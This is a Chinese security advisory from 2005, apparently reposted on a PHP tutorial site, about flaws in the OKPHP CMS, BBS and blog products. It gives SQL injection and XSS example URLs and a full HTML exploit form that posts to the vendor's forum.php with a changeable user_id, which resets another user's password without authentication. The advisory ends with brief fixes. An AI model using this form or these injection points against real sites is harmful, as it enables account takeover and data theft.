当前位置:首页> PHP教程> PHP安全
关键字
文章内容
okphp系列产品的多个漏洞
 
 
修改时间:[2008/08/08 13:44]    阅读次数:[987]    发表者:[起缘]
 

本文作者:SuperHei
文章性质:原创
发布日期:2005-08-14

程序描叙

  OKPHP是由www.okphp.com开发一套专业的网站管理系统,目前产品包括:Okphp CMS, Okphp BBS,Okphp BLOG。由于对变量的过滤不严密及密码认证不严,导致sql注射,xss,隐藏变量post攻击从跨权限操作。

漏洞攻击

1、SQl注射及xss

  “几乎” 存在于各个变量里,如:forum.php

http://www.xxx.com/forum.php?action=view_forum&forum_id={sql}
http://cn.okphp.com/forum.php?action=view_forum&forum_id='xss
.......

2、隐藏变量post攻击

  在提交request.php?action=user_modify 修改用户资料时,没有密码认证导致通过user_id修改容易用户密码及资料;

Exp:

<html>
<head>
<title>Okphp Discussions - powered by okphp BBS</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="bbs/themes/default/css/darkblue/css.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#CCCCCC" text="#000000">
<table class="forumline2" cellspacing="1" cellpadding="3" border="0">
<form name="form1" method="post" action="http://cn.okphp.com/forum.php" enctype="multipart/form-data">
<tr>
<th colspan="2" background="bbs/themes/default/images/darkblue/th_bg.gif">修改信息</th>
</tr>
<tr class="row1"> </tr>
<tr class="row2">
<td width="20%" valign="top" align="right">密码</td>
<td width="80%">
<p>
<input type="password" name="password1" size="20">
重复输入
<input type="password" name="password2" size="20">
</p>
</td>
</tr>
<tr class="row2">
<td width="20%" valign="top" align="right" rowspan="2">头像地址</td>
<td width="80%">
<p>
<input type="text" name="headpic" size="80" value="http://cn.okphp.com/bbs/images/headp/836.gif">
<br>
宽度
<input type="text" name="h_width" size="3" value="0">
px,长度
<input type="text" name="h_height" size="3" value="0">
px (最大限制:100px)</p>
</td>
</tr>
<tr class="row2">
<td width="80%">
<input type="file" name="upfile">
</td>
</tr>
<tr class="row1">
<td width="20%" height="2" align="right">电子邮件</td>
<td width="80%" height="2">
<input type="text" name="email" size="20" value="[email protected]">
</td>
</tr>
<tr class="row2">
<td width="20%" valign="top" align="right">签名</td>
<td width="80%">
<p>
<textarea name="sig" cols="50" rows="5"></textarea>
</p>
</td>
</tr>
<tr class="row1">
<td width="20%" height="2" align="right">用户简介</td>
<td width="80%" height="2">
<textarea name="intr" cols="50" rows="5"></textarea>
</td>
</tr>
<tr class="row2" align="center">
<td colspan="2" height="2">
<input type="hidden" name="action" value="user_modify">
<input type="hidden" name="step" value="2">
<input type="text" name="user_id" value="836">
<input type="hidden" name="md5pass" value="{md5pass}">
<input type="submit" name="Submit" value="Submit" class="catbutton">
</td>
</tr>
</form>
</table>
</body>
</html>

解决办法

1、加强对变量过滤
2、增加密码认证